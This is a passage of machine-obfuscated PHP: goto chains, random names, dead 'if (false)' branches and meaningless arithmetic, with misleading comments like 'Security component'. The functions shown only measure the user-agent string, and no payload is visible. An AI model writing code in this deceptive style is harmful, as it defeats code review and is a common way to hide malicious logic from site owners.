R5ehuGVs: goto a3HVyzPGP; a3HVyzPGP: if (false) { echo 'This is a dead end'; } goto pqBCKBMn; pqBCKBMn: $iCjD65Pi = 423 + 32; $iX1geSuk = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto dbSVTdtK; dbSVTdtK: $bZa4iOd6 = strlen($XsucffsH); goto hw3kVJT4; hw3kVJT4: goto n8QiE2Ip; n8QiE2Ip: /* System file */ $B9ma2fmF = 724 + 30; $FbaGmw5w = $B9ma2fmF * 2; goto H4lpsRnv; H4lpsRnv: /* System file */ goto Vy_S6iA3; Vy_S6iA3: /* System file */ goto SNZsR1TC; SNZsR1TC: goto Nda8mmwj; Nda8mmwj: if (false) { echo 'This is a dead end'; } goto pRNXDT1m; pRNXDT1m: $a29IFo9lZ = 503 + 39; $n7sJ6WnP = $a29IFo9lZ * 3; goto O2paSt8z; O2paSt8z: /* Security component */ $a29IFo9lZ = 194 + 35; $jIP39ari = $a29IFo9lZ * 5; goto QgbEc20J; QgbEc20J: goto EU7rUg3j; EU7rUg3j: /* Main service */ goto ALLEjebJ; ALLEjebJ: // dUqi3BE8 if (false) { echo 'This is a dead end'; } goto hO7tpxB5; hO7tpxB5: /* System file */ goto nKzLp77Z; nKzLp77Z: goto K4ZEbndf; K4ZEbndf: $iCjD65Pi = 407 + 43; $a6b9oay5s = $iCjD65Pi * 2; goto P_fCGqvr; P_fCGqvr: /* czYyoP13s87lGur */ goto DaHovGGr; DaHovGGr: return $bZa4iOd6 > 10; } private function dyRNDHF0cD() { /* Core module */ goto a6HB9GHdA; a6HB9GHdA: // IrK5og_z goto jEHtk8tI; jEHtk8tI: goto uAY_cAAC; uAY_cAAC: // _FIiDwJmgKaE3LrM goto Bwc2NLrn; Bwc2NLrn: $a29IFo9lZ = 245 + 37; $jIP39ari = $a29IFo9lZ * 2; goto a17IemTMA; a17IemTMA: /* Main service */ goto pnf6AEo3; pnf6AEo3: if (false) { echo 'This is a dead end'; } goto qPFaPBJi; qPFaPBJi: goto eFop90dY; eFop90dY: $FbaGmw5w = 607 + 50; $WWDcP6ib = $FbaGmw5w * 4; goto a_TdbydIc; a_TdbydIc: /* System file */ goto LHsZvGJO; LHsZvGJO: /* fJr8CmB3a5m5UG6 */ $B9ma2fmF = 609 + 48; $a6EHyDbxg = $B9ma2fmF * 5; goto xfWNIYX1; xfWNIYX1: goto ocC8P3zz; ocC8P3zz: goto rF1TibYF; rF1TibYF: // Eizj5MNK $bZa4iOd6 = 623 + 33; $FbaGmw5w = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto RQBWp2s2; RQBWp2s2: $a6b9oay5s = 799 + 8; $NqlX8zGc = $a6b9oay5s * 5; goto fbiXkxnF; fbiXkxnF: /* System file */ goto rlGGTs8B; rlGGTs8B: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y7P6EtZJ; Y7P6EtZJ: // ZaP5v7XLsknD7pMT goto R__Q1BBP; R__Q1BBP: goto hHvUH4tW; hHvUH4tW: $Pe9zuJ4r = 778 + 46; $iCjD65Pi = $Pe9zuJ4r * 5; goto HbN2KpLx; HbN2KpLx: /* XdOmltn1Sm */ goto h_a6p9tv; h_a6p9tv: if (false) { echo 'This is a dead end'; } goto O1KY8KUu; O1KY8KUu: // s7gsrLeGG6sL8x0j $WWDcP6ib = 913 + 28; $iX1geSuk = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto t2fOwOB_; t2fOwOB_: /* 4NUnJIq8Z_gGEGVGUjuK */ goto EokmMxcc; EokmMxcc: /* API handler */ $iX1geSuk = 332 + 31; $jIP39ari = $iX1geSuk * 2; goto GEsm3wN4; GEsm3wN4: $a6b9oay5s = 742 + 14; $NqlX8zGc = $a6b9oay5s * 5; goto M_xlh3nG; M_xlh3nG: /* Main service */ goto yDy99C42; yDy99C42: $a6EHyDbxg = 135 + 13; $iX1geSuk = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto JiKFZDJ3; JiKFZDJ3: /* QYXWxuejUh */ goto rV01Cy2c; rV01Cy2c: goto dFA61ZBg; dFA61ZBg: $WWDcP6ib = 512 + 9; $bZa4iOd6 = $WWDcP6ib * 4; goto V_G0BCoQ; V_G0BCoQ: goto ONQ27IWq; ONQ27IWq: $jIP39ari = strlen($Pe9zuJ4r); goto VhUkpS5S; VhUkpS5S: goto bzKgd0rU; bzKgd0rU: /* Main service */ goto TRXJR4yJ; TRXJR4yJ: /* btWTFAZHIhUvuNG */ $B9ma2fmF = 949 + 12; $BqYDw4sr = $B9ma2fmF * 2; goto a8otgo9Uv; a8otgo9Uv: /* API handler */ $B9ma2fmF = 989 + 41; $BqYDw4sr = $B9ma2fmF * 2; goto nqiLrVB2; nqiLrVB2: if (false) { echo 'This is a dead end'; } goto CRAwuXR7; CRAwuXR7: /* HqJ7Xjc1rfL2M8X */ goto a6SXNyM1j; a6SXNyM1j: goto cHJcnxDu; cHJcnxDu: /* 6du_7M_yaTE2lIW7h6wj */ $B9ma2fmF = 413 + 14; $jIP39ari = $B9ma2fmF * 1; goto BZ46qVLv; BZ46qVLv: /* h1_ihYfIe5TW84V */ $n7sJ6WnP = 485 + 13; $BqYDw4sr = $n7sJ6WnP * 5; goto roLrtFcw; roLrtFcw: // 7waihHdDa3La goto a5dbm5iH0; a5dbm5iH0: // 90bvWc1WD9mcFnvP $WWDcP6ib = 503 + 45; $n7sJ6WnP = $WWDcP6ib * 2; if (false) { echo 'This is a dead end'; } goto SowiAG2i; SowiAG2i: /* API handler */ $iCjD65Pi = 384 + 39; $Pe9zuJ4r = $iCjD65Pi * 2; goto VqWjp3MH; VqWjp3MH: /* System file */ goto a_LvzJVKC; a_LvzJVKC: /* 3IdJVpmTiP */ goto Gp_dg8Kw; Gp_dg8Kw: $jIP39ari = 178 + 12; $a6EHyDbxg = $jIP39ari * 5; goto Glyq6rJA; Glyq6rJA: return $jIP39ari > 10; } private function hNhJ0zyZmn() { goto a1zto0vze; a1zto0vze: $n7sJ6WnP = 571 + 44; $B9ma2fmF = $n7sJ6WnP * 3; goto vb45JVfO; vb45JVfO: goto wNHTIz_I; wNHTIz_I: // y6aVa4jQ goto vtiLfEnZ; vtiLfEnZ: goto a5gcLKhnN; a5gcLKhnN: // sqsXnSnp_52NKxua $n7sJ6WnP = 668 + 47; $FbaGmw5w = $n7sJ6WnP * 3; goto vCFTsMMY; vCFTsMMY: $a29IFo9lZ = 781 + 20; $n7sJ6WnP = $a29IFo9lZ * 3; goto TNLnx85N; TNLnx85N: $a29IFo9lZ = 263 + 35; $n7sJ6WnP = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a9q5wPsgu; a9q5wPsgu: goto uo3Z_n31; uo3Z_n31: if (false) { echo 'This is a dead end'; } goto a_e8rbHUV; a_e8rbHUV: // veJrg1COj6mqhPLf $BqYDw4sr = 379 + 1; $a6b9oay5s = $BqYDw4sr * 4; goto mF72VRL4; mF72VRL4: goto Hdd5UAIq; Hdd5UAIq: // mf1BBxPVt2AW $bZa4iOd6 = 882 + 30; $B9ma2fmF = $bZa4iOd6 * 1; goto z8jad_um; z8jad_um: /* 27ZzSUATdT */ $B9ma2fmF = 887 + 10; $NqlX8zGc = $B9ma2fmF * 3; goto ZJsFVRQf; ZJsFVRQf: goto eq1E5pnd; eq1E5pnd: goto a_c5GfWfu; a_c5GfWfu: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto qBYv9Smw; qBYv9Smw: /* System file */ if (false) { echo 'This is a dead end'; } goto a2xNQrQGy; a2xNQrQGy: /* oycr15JAZC */ $a6b9oay5s = 479 + 50; $XsucffsH = $a6b9oay5s * 1; goto a3IJ59Sd_; a3IJ59Sd_: goto i6EeVcG5; i6EeVcG5: // 5LWYws8C5ktLZ1Qq goto lp2el7Jd; lp2el7Jd: $bZa4iOd6 = 318 + 45; $Pe9zuJ4r = $bZa4iOd6 * 1; goto phpchAjV; phpchAjV: /* gyS70q607v1XLLF */ goto quWSoqmH; quWSoqmH: goto akIuZoLE; akIuZoLE: goto ESREvdGQ; ESREvdGQ: goto s3rSAu2a; s3rSAu2a: /* PQ1DJnAG2oa7abx */ if (false) { echo 'This is a dead end'; } goto m6UlmwwD; m6UlmwwD: /* Core module */ $iX1geSuk = 522 + 30; $a6EHyDbxg = $iX1geSuk * 1; goto ZQ8MnFXL; ZQ8MnFXL: // Uj7ZL4Pm5O9T goto a97NtxmUL; a97NtxmUL: goto iFc3fCPL; iFc3fCPL: goto ErumLI4A; ErumLI4A: $FbaGmw5w = 951 + 49; $NqlX8zGc = $FbaGmw5w * 2; goto Tm_s1QbU; Tm_s1QbU: $WWDcP6ib = strlen($B9ma2fmF); goto zrNW2qn5; zrNW2qn5: if (false) { echo 'This is a dead end'; } goto SIZ9hdiV; SIZ9hdiV: /* mR22jOOJM6C0CnQqr3ty */ if (false) { echo 'This is a dead end'; } goto ThajkhLp; ThajkhLp: goto Sj2i81ph; Sj2i81ph: goto rsCkIji2; rsCkIji2: /* ZRkjalThpX_OY33dYMOo */ $B9ma2fmF = 897 + 45; $Pe9zuJ4r = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto NH2B5uwC; NH2B5uwC: /* j9oL5Blce6Lkvbs */ $WWDcP6ib = 394 + 32; $a6EHyDbxg = $WWDcP6ib * 1; if (false) { echo 'This is a dead end'; } goto UU5nPN5R; UU5nPN5R: $Pe9zuJ4r = 955 + 7; $XsucffsH = $Pe9zuJ4r * 3; goto Mg6sIAjH; Mg6sIAjH: $XsucffsH = 527 + 8; $B9ma2fmF = $XsucffsH * 4; goto a9rRLExqy; a9rRLExqy: $B9ma2fmF = 441 + 39; $FbaGmw5w = $B9ma2fmF * 1; goto N7Mji931; N7Mji931: /* Main service */ goto g0cIqfZA; g0cIqfZA: goto ZEMw6V7J; ZEMw6V7J: /* Main service */ $n7sJ6WnP = 510 + 41; $Pe9zuJ4r = $n7sJ6WnP * 1; if (false) { echo 'This is a dead end'; } goto SzPuRPg7; SzPuRPg7: /* kiX9t58q9AY2nt0gsYGX */ if (false) { echo 'This is a dead end'; } goto a2BJHpwyk; a2BJHpwyk: /* API handler */ goto dARyiYmC; dARyiYmC: goto s5JG_rbk; s5JG_rbk: return $WWDcP6ib > 10; } private function Ub_G933cLz() { goto iCTYqnDt; iCTYqnDt: if (false) { echo 'This is a dead end'; } goto N5BqBV6j; N5BqBV6j: $a6b9oay5s = 140 + 50; $a6b9oay5s = $a6b9oay5s * 3; goto UtHpvTUe; UtHpvTUe: if (false) { echo 'This is a dead end'; } goto EKHYIqzf; EKHYIqzf: /* Main service */ goto qTkwAdgV; qTkwAdgV: if (false) { echo 'This is a dead end'; } goto FbmnTUlT; FbmnTUlT: goto a8tx4TFh_; a8tx4TFh_: // g3T3Bqh7 if (false) { echo 'This is a dead end'; } goto UMKbrIMd; UMKbrIMd: goto iRYniCua; iRYniCua: /* rXi7a_rTkP */ $XsucffsH = 778 + 8; $a6b9oay5s = $XsucffsH * 4; goto DkVEf2jY; DkVEf2jY: goto QW_il3X8; QW_il3X8: /* vqMksciWqS */ $jIP39ari = 523 + 3; $iCjD65Pi = $jIP39ari * 5; goto m81VoFaf; m81VoFaf: /* Security component */ if (false) { echo 'This is a dead end'; } goto m87qFFwZ; m87qFFwZ: /* TcgDafXOGk49kU793K28 */ goto qVZZJNxI; qVZZJNxI: /* Security component */ goto Ln4Tq4Ga; Ln4Tq4Ga: goto G9OultAi; G9OultAi: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto ysVu0A_3; ysVu0A_3: /* _B_tvLSfJzz5cDM */ $NqlX8zGc = 642 + 40; $iX1geSuk = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto If9H1f_K; If9H1f_K: $NqlX8zGc = 776 + 49; $iCjD65Pi = $NqlX8zGc * 1; goto PaNgUSU3; PaNgUSU3: $XsucffsH = 738 + 49; $jIP39ari = $XsucffsH * 2; goto a4d4Iz47u; a4d4Iz47u: /* API handler */ goto Qm3IovGg; Qm3IovGg: // TGJEVRBvdQmef3JB goto J891tauB; J891tauB: /* Core module */ $iX1geSuk = 663 + 20; $bZa4iOd6 = $iX1geSuk * 2; goto h_wTGJ_P; h_wTGJ_P: // hvFgmhk6 goto EYaabnpV; EYaabnpV: goto lWANJkfS; lWANJkfS: /* NN83G2jOIC */ goto a_Nswqdye; a_Nswqdye: /* Core module */ $B9ma2fmF = 292 + 37; $bZa4iOd6 = $B9ma2fmF * 2; goto I4SeUpiN; I4SeUpiN: /* Core module */ goto KpCWX3ap; KpCWX3ap: if (false) { echo 'This is a dead end'; } goto a3aUSifzm; a3aUSifzm: $a29IFo9lZ = 439 + 50; $FbaGmw5w = $a29IFo9lZ * 2; goto a1perBvvb; a1perBvvb: /* API handler */ $a6EHyDbxg = 759 + 13; $BqYDw4sr = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto a1WhKLhyK; a1WhKLhyK: $iCjD65Pi = 621 + 34; $iX1geSuk = $iCjD65Pi * 2; goto a1LJBiQoO; a1LJBiQoO: $WWDcP6ib = strlen($Pe9zuJ4r); goto tHSvvUC5; tHSvvUC5: $a6EHyDbxg = 942 + 1; $iCjD65Pi = $a6EHyDbxg * 3; goto XvPldrfJ; XvPldrfJ: goto urKsQhMW; urKsQhMW: $B9ma2fmF = 625 + 25; $jIP39ari = $B9ma2fmF * 5; goto hDF9vFFc; hDF9vFFc: $a6EHyDbxg = 890 + 46; $iX1geSuk = $a6EHyDbxg * 3; goto uQhhRWxa; uQhhRWxa: /* API handler */ $WWDcP6ib = 603 + 46; $Pe9zuJ4r = $WWDcP6ib * 1; goto idjwSKBi; idjwSKBi: if (false) { echo 'This is a dead end'; } goto a6KkPQdqE; a6KkPQdqE: // kH3DjDYc goto RyA_nwIR; RyA_nwIR: /* acmGyIj9uidTIh7WxgQG */ goto W7CNibuJ; W7CNibuJ: /* System file */ $FbaGmw5w = 712 + 5; $Pe9zuJ4r = $FbaGmw5w * 1; goto QhyFgD8r; QhyFgD8r: // DJWKl6Kt goto H1Ns31RK; H1Ns31RK: /* Core module */ goto NaG76AOQ; NaG76AOQ: $jIP39ari = 815 + 37; $NqlX8zGc = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto WNcBZ5ZN; WNcBZ5ZN: /* API handler */ $a6b9oay5s = 769 + 20; $a29IFo9lZ = $a6b9oay5s * 2; goto POY21uwr; POY21uwr: goto ibnWhWkX; ibnWhWkX: /* noiK4ct0QOwvbKPNOuri */ goto a2j03I69k; a2j03I69k: return $WWDcP6ib > 10; } private function JRhV4bR0Jf() { /* u9EMfchRki */ goto wxTCu8bC; wxTCu8bC: // 5YL7smP_ goto a4a5h7Ppx; a4a5h7Ppx: /* Main service */ goto iyORMvPA; iyORMvPA: /* System file */ goto UcWI1Q24; UcWI1Q24: goto a2pZCj2Tl; a2pZCj2Tl: $n7sJ6WnP = 952 + 8; $iX1geSuk = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto a4OgBhgXb; a4OgBhgXb: /* HFAmxdf4u6m0ftC3SXd6 */ goto EpXokAz4; EpXokAz4: goto WhQwZJhw; WhQwZJhw: if (false) { echo 'This is a dead end'; } goto CTCWpNQT; CTCWpNQT: goto a9ZumiMJE; a9ZumiMJE: goto DPkmKIFt; DPkmKIFt: /* Security component */ $a6EHyDbxg = 688 + 37; $FbaGmw5w = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto fUdC6_tB; fUdC6_tB: // cziOn_iM_iudA2v7 if (false) { echo 'This is a dead end'; } goto MyFr07bC; MyFr07bC: // CvyDwlhk goto P3otZAZA; P3otZAZA: goto wLHHCCkT; wLHHCCkT: /* k7xhXRMo9aANCA5J4olT */ goto Cj0JyUgJ; Cj0JyUgJ: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto zMo5Vz9p; zMo5Vz9p: $n7sJ6WnP = 438 + 46; $iCjD65Pi = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto gujcrDal; gujcrDal: $a29IFo9lZ = 191 + 44; $WWDcP6ib = $a29IFo9lZ * 1; goto a1SdMdrhV; a1SdMdrhV: $XsucffsH = 644 + 10; $iX1geSuk = $XsucffsH * 2; if (false) { echo 'This is a dead end'; } goto a_M2v4x3r; a_M2v4x3r: $bZa4iOd6 = 387 + 9; $n7sJ6WnP = $bZa4iOd6 * 5; goto a2qPcb1bX; a2qPcb1bX: if (false) { echo 'This is a dead end'; } goto V0b1AtQz; V0b1AtQz: $jIP39ari = 423 + 35; $bZa4iOd6 = $jIP39ari * 4; goto tWs7nKaf; tWs7nKaf: // fpZQQzxP goto Fmk88rt7; Fmk88rt7: // KZ7RG_mH goto CGN1HIBg; CGN1HIBg: goto ahBwkpsZ; ahBwkpsZ: /* Main service */ if (false) { echo 'This is a dead end'; } goto qvV5ZRYF; qvV5ZRYF: goto Ay790hgS; Ay790hgS: /* Security component */ goto a008KdzoD; a008KdzoD: $a6EHyDbxg = 342 + 4; $XsucffsH = $a6EHyDbxg * 3; goto Cn0MAYnn; Cn0MAYnn: // ltvG1KpYJLSdEnGy $bZa4iOd6 = 406 + 11; $a6EHyDbxg = $bZa4iOd6 * 4; goto IpTdfIWS; IpTdfIWS: // xy4qyZG3 $Pe9zuJ4r = 339 + 43; $a6EHyDbxg = $Pe9zuJ4r * 4; goto JyDusuN_; JyDusuN_: $XsucffsH = strlen($n7sJ6WnP); goto LHl26Nzo; LHl26Nzo: goto LvKjMc7p; LvKjMc7p: goto atu8yu91; atu8yu91: if (false) { echo 'This is a dead end'; } goto a0fs1Z2TW; a0fs1Z2TW: goto zQjjFPnV; zQjjFPnV: /* Itv0HeVU1QeKkXS7w8FP */ goto XJoywvmi; XJoywvmi: $a6b9oay5s = 554 + 41; $XsucffsH = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto FsYStcuL; FsYStcuL: /* System file */ goto a0B9KTUqU; a0B9KTUqU: goto cg8fhF4V; cg8fhF4V: if (false) { echo 'This is a dead end'; } goto CYfAd1JU; CYfAd1JU: /* System file */ $iCjD65Pi = 947 + 34; $BqYDw4sr = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto a4apfSxbE; a4apfSxbE: /* Core module */ goto a15MzoRH4; a15MzoRH4: /* Security component */ $bZa4iOd6 = 706 + 29; $a6EHyDbxg = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto a2eY0Q0xe; a2eY0Q0xe: /* Zv80KvLzdI */ goto Oqm7W70Y; Oqm7W70Y: // LmcVNBpC goto iUB4q15J; iUB4q15J: /* IV4NGlw8ob */ goto xQj2T8iM; xQj2T8iM: return $XsucffsH > 10; } private function sZ8yImcmkt() { goto UbwSnXv8; UbwSnXv8: goto nJ_yBl81; nJ_yBl81: // Ev64qA67D5M_ $a29IFo9lZ = 617 + 23; $iCjD65Pi = $a29IFo9lZ * 5; goto fxWxdaqm; fxWxdaqm: goto U9au4KEx; U9au4KEx: goto jVpzBvuN; jVpzBvuN: /* atQz_C31nzDsdyM */ $a29IFo9lZ = 151 + 23; $a29IFo9lZ = $a29IFo9lZ * 1; goto uENmk8lS; uENmk8lS: $B9ma2fmF = 842 + 37; $BqYDw4sr = $B9ma2fmF * 3; goto VsIABHnC; VsIABHnC: $jIP39ari = 686 + 23; $iX1geSuk = $jIP39ari * 3; goto pd3sM7Pd; pd3sM7Pd: // CtlXSfAthYZK $Pe9zuJ4r = 295 + 47; $WWDcP6ib = $Pe9zuJ4r * 1; goto NdrjC9no; NdrjC9no: goto jCGzLS4E; jCGzLS4E: /* System file */ goto HMzJXsud; HMzJXsud: $NqlX8zGc = 385 + 17; $Pe9zuJ4r = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto nikWQ9AW; nikWQ9AW: goto PvVz7K0M; PvVz7K0M: $XsucffsH = 844 + 6; $WWDcP6ib = $XsucffsH * 5; goto UdoYR5g4; UdoYR5g4: /* Core module */ goto cuDsGPms; cuDsGPms: /* Security component */ goto a_B_aYRYF; a_B_aYRYF: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a5T30hRqg; a5T30hRqg: /* t9sXelUn1z */ goto a4u_nlvS1; a4u_nlvS1: /* Core module */ goto D_DBEuGr; D_DBEuGr: if (false) { echo 'This is a dead end'; } goto PVP04OnZ; PVP04OnZ: goto OEujBalb; OEujBalb: /* Main service */ goto xC62vlX2; xC62vlX2: goto bAymKUmd; bAymKUmd: $a6b9oay5s = 930 + 34; $a6EHyDbxg = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto n4cnrVsO; n4cnrVsO: // 3AXP2zDde1F7 if (false) { echo 'This is a dead end'; } goto jPyWsOZA; jPyWsOZA: goto gYJh4cC8; gYJh4cC8: goto zQRfNx7N; zQRfNx7N: // jx99soCzT987 goto j_KPHa0A; j_KPHa0A: if (false) { echo 'This is a dead end'; } goto mgsb0_hL; mgsb0_hL: goto NGH3W5Tv; NGH3W5Tv: goto fUN0giQm; fUN0giQm: $iX1geSuk = 757 + 10; $BqYDw4sr = $iX1geSuk * 2; goto qIVJJhAC; qIVJJhAC: $iX1geSuk = strlen($a29IFo9lZ); goto c3M2NKBB; c3M2NKBB: /* System file */ if (false) { echo 'This is a dead end'; } goto s7xlOiiT; s7xlOiiT: /* Main service */ $BqYDw4sr = 429 + 4; $BqYDw4sr = $BqYDw4sr * 2; if (false) { echo 'This is a dead end'; } goto a_c_l3wgo; a_c_l3wgo: /* Security component */ goto x7imBlFb; x7imBlFb: /* Core module */ goto NIVFfHWd; NIVFfHWd: /* Security component */ goto JSPmEvXk; JSPmEvXk: if (false) { echo 'This is a dead end'; } goto khQ3O1yz; khQ3O1yz: $a6EHyDbxg = 402 + 19; $B9ma2fmF = $a6EHyDbxg * 2; goto RV2YBxMR; RV2YBxMR: // QWaqMPXiv5gC goto IktQzH7F; IktQzH7F: goto tsZ0fZ50; tsZ0fZ50: $iX1geSuk = 625 + 34; $a29IFo9lZ = $iX1geSuk * 1; goto UIT_Hlke; UIT_Hlke: $NqlX8zGc = 552 + 22; $a6b9oay5s = $NqlX8zGc * 4; goto Apfh6iEI; Apfh6iEI: /* 5v5y0rve_6 */ $Pe9zuJ4r = 332 + 48; $NqlX8zGc = $Pe9zuJ4r * 2; goto EfjW5Xah; EfjW5Xah: if (false) { echo 'This is a dead end'; } goto UQOeY2nF; UQOeY2nF: goto Lo1QCBYc; Lo1QCBYc: $BqYDw4sr = 969 + 14; $a6b9oay5s = $BqYDw4sr * 4; goto ail37H8u; ail37H8u: return $iX1geSuk > 10; } private function J3LZb2dSFN() { goto PbdeREcm; PbdeREcm: /* API handler */ $XsucffsH = 707 + 29; $B9ma2fmF = $XsucffsH * 2; goto EsNS4XlO; EsNS4XlO: $XsucffsH = 557 + 33; $B9ma2fmF = $XsucffsH * 4; goto ZuwNPQKi; ZuwNPQKi: if (false) { echo 'This is a dead end'; } goto Srg_YeU9; Srg_YeU9: /* System file */ $WWDcP6ib = 697 + 25; $iX1geSuk = $WWDcP6ib * 3; goto hl781t5w; hl781t5w: goto a_yn236E3; a_yn236E3: $iCjD65Pi = 432 + 8; $n7sJ6WnP = $iCjD65Pi * 2; goto zKAEWznx; zKAEWznx: goto lnoHjwab; lnoHjwab: /* TkUUiKnLzBFSMWs */ goto M7jRVIpS; M7jRVIpS: /* System file */ $BqYDw4sr = 432 + 31; $n7sJ6WnP = $BqYDw4sr * 4; goto ev1JpQcP; ev1JpQcP: goto YbH84bM5; YbH84bM5: // tbE9M6RY goto Z6tQU7eL; Z6tQU7eL: goto TtF3hr8K; TtF3hr8K: goto iRQk9lvd; iRQk9lvd: goto uNh5hgkn; uNh5hgkn: $a6b9oay5s = 922 + 5; $a6EHyDbxg = $a6b9oay5s * 1; goto kDv_rH5v; kDv_rH5v: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto CxvlBX29; CxvlBX29: /* gN4QUXbtiByv6iE */ $B9ma2fmF = 664 + 42; $B9ma2fmF = $B9ma2fmF * 1; goto bLQyj_Mu; bLQyj_Mu: if (false) { echo 'This is a dead end'; } goto a_cHLUhNm; a_cHLUhNm: goto a1k285bfW; a1k285bfW: $iX1geSuk = 467 + 20; $iX1geSuk = $iX1geSuk * 2; goto a4QGw1hSr; a4QGw1hSr: goto DcGT19j_; DcGT19j_: // 0vMJFjzQ $FbaGmw5w = 848 + 16; $B9ma2fmF = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto PWid24Jt; PWid24Jt: $BqYDw4sr = 682 + 21; $a6EHyDbxg = $BqYDw4sr * 5; goto aaGbD0ms; aaGbD0ms: goto f7b0izO2; f7b0izO2: /* tEAOl9ytGH */ $jIP39ari = 133 + 30; $FbaGmw5w = $jIP39ari * 5; goto lgvjw9bj; lgvjw9bj: $XsucffsH = 338 + 40; $iCjD65Pi = $XsucffsH * 1; goto XJ5Sey9M; XJ5Sey9M: goto M5z_it40; M5z_it40: // i1FS2R_weRNd goto RKkHbnvA; RKkHbnvA: goto xJXtYJzG; xJXtYJzG: goto BZoniJ1M; BZoniJ1M: $FbaGmw5w = 540 + 50; $a6b9oay5s = $FbaGmw5w * 5; goto MpQFkcH5; MpQFkcH5: $FbaGmw5w = strlen($n7sJ6WnP); goto a19tpLn9S; a19tpLn9S: /* Core module */ $jIP39ari = 891 + 46; $XsucffsH = $jIP39ari * 1; if (false) { echo 'This is a dead end'; } goto jKIzKUXa; jKIzKUXa: goto BmCcrRVI; BmCcrRVI: if (false) { echo 'This is a dead end'; } goto YbAg1tUV; YbAg1tUV: goto E1w1VHsU; E1w1VHsU: goto a2Sep7Wba; a2Sep7Wba: /* Main service */ if (false) { echo 'This is a dead end'; } goto aBXLv3t9; aBXLv3t9: // MLVhHTgd goto a5wDHGikU; a5wDHGikU: $bZa4iOd6 = 379 + 43; $jIP39ari = $bZa4iOd6 * 2; if (false) { echo 'This is a dead end'; } goto LBbHANSy; LBbHANSy: /* API handler */ goto ebdYXF0K; ebdYXF0K: /* zq3TCIBeUM_gwbk */ if (false) { echo 'This is a dead end'; } goto oX4Yboh6; oX4Yboh6: /* w33jQ9UfS3 */ $iX1geSuk = 626 + 11; $B9ma2fmF = $iX1geSuk * 2; goto Op2Reo6I; Op2Reo6I: // kr1lZXzNoXQ7NpDQ goto PphCyojU; PphCyojU: goto iGu9gMFB; iGu9gMFB: goto go1XtpTk; go1XtpTk: // VXZT6KuUWZF7 goto oG0csGLv; oG0csGLv: return $FbaGmw5w > 10; } private function a9J8J5h9v7G() { goto HDntdp_w; HDntdp_w: goto mEKlYt1o; mEKlYt1o: if (false) { echo 'This is a dead end'; } goto sG6wAk2k; sG6wAk2k: $bZa4iOd6 = 464 + 6; $iX1geSuk = $bZa4iOd6 * 1; goto SYMRC49h; SYMRC49h: /* YJZdiWZXnJevnwyq3goO */ $jIP39ari = 197 + 27; $NqlX8zGc = $jIP39ari * 2; goto iwM46F1F; iwM46F1F: /* 011bA1OF9K */ $NqlX8zGc = 534 + 5; $WWDcP6ib = $NqlX8zGc * 4; goto xS0mzNAQ; xS0mzNAQ: goto PCPLpcxp; PCPLpcxp: goto J35r4tGU; J35r4tGU: goto RT_BG76y; RT_BG76y: $a6EHyDbxg = 838 + 30; $XsucffsH = $a6EHyDbxg * 1; goto Gl61YlB1; Gl61YlB1: /* Security component */ if (false) { echo 'This is a dead end'; } goto Tm1vLYP8; Tm1vLYP8: $a6EHyDbxg = 276 + 38; $NqlX8zGc = $a6EHyDbxg * 5; goto a5UjAy6y6; a5UjAy6y6: /* XHAteylgxH */ goto LN90xUP2; LN90xUP2: goto iS4E3OPQ; iS4E3OPQ: // TGGQZfYceZEQRHLk if (false) { echo 'This is a dead end'; } goto InS8Uksw; InS8Uksw: /* 3CwsK0AuYb */ $BqYDw4sr = 500 + 36; $n7sJ6WnP = $BqYDw4sr * 3; goto a4lxMASKJ; a4lxMASKJ: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto YEYgAKmb; YEYgAKmb: /* P6ubjKc5eA9jaJXzxqUw */ goto akIUea6u; akIUea6u: $Pe9zuJ4r = 196 + 20; $iCjD65Pi = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto DDbJIwqR; DDbJIwqR: goto a4I7bONRg; a4I7bONRg: $bZa4iOd6 = 733 + 37; $XsucffsH = $bZa4iOd6 * 2; goto gI2TirH8; gI2TirH8: // raUeiAQw goto Aiioptz_; Aiioptz_: /* API handler */ goto TBpvyUyh; TBpvyUyh: goto m867i0bK; m867i0bK: goto tv7j6Id5; tv7j6Id5: goto pjv7sNyM; pjv7sNyM: /* API handler */ goto rWP9kjoo; rWP9kjoo: /* Security component */ goto a3yxRzelp; a3yxRzelp: /* F7uUjgMv8RT_kTj */ $n7sJ6WnP = 449 + 44; $XsucffsH = $n7sJ6WnP * 2; goto YoA3T4CC; YoA3T4CC: goto hG93oUsh; hG93oUsh: goto GxU3GFqy; GxU3GFqy: /* norY5TeV5C */ goto FbXXadky; FbXXadky: $a6EHyDbxg = strlen($XsucffsH); goto vRKTJT4l; vRKTJT4l: goto hSUsH8ew; hSUsH8ew: /* Core module */ goto Nar22GGx; Nar22GGx: if (false) { echo 'This is a dead end'; } goto 